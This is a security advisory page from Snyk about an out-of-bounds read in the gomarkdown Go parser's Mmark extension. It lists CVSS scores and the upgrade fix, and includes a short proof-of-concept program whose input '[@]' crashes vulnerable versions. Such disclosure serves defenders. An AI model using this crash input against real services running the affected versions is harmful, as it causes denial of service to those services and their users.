Out-of-bounds Read Affecting github.com/gomarkdown/markdown/parser package, versions <0.0.0-20230922105210-14b16010c2ee


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.1% (42nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-GOLANG-GITHUBCOMGOMARKDOWNMARKDOWNPARSER-5916451
  • published 24 Sep 2023
  • disclosed 22 Sep 2023
  • credit NSEcho

How to fix?

Upgrade github.com/gomarkdown/markdown/parser to version 0.0.0-20230922105210-14b16010c2ee or higher.

Overview

github.com/gomarkdown/markdown/parser is a library for parsing Markdown text and rendering as HTML.

Affected versions of this package are vulnerable to Out-of-bounds Read when the citation.go file is parsing malformed markdown input with the parser.Mmark extension. An attacker can cause a denial of service or panic if the parser has the parser.Mmark extension set.

PoC

package main

import (
    "github.com/gomarkdown/markdown"
    "github.com/gomarkdown/markdown/parser"
)

func main() {
    ext := parser.CommonExtensions |
        parser.Attributes |
        parser.OrderedListStart |
        parser.SuperSubscript |
        parser.Mmark
    p := parser.NewWithExtensions(ext)

    inp := []byte("[@]")
    markdown.ToHTML(inp, p, nil)
}

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
5.5 medium
  • Attack Vector (AV)
    Local
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    High
Expand this section

NVD

7.5 high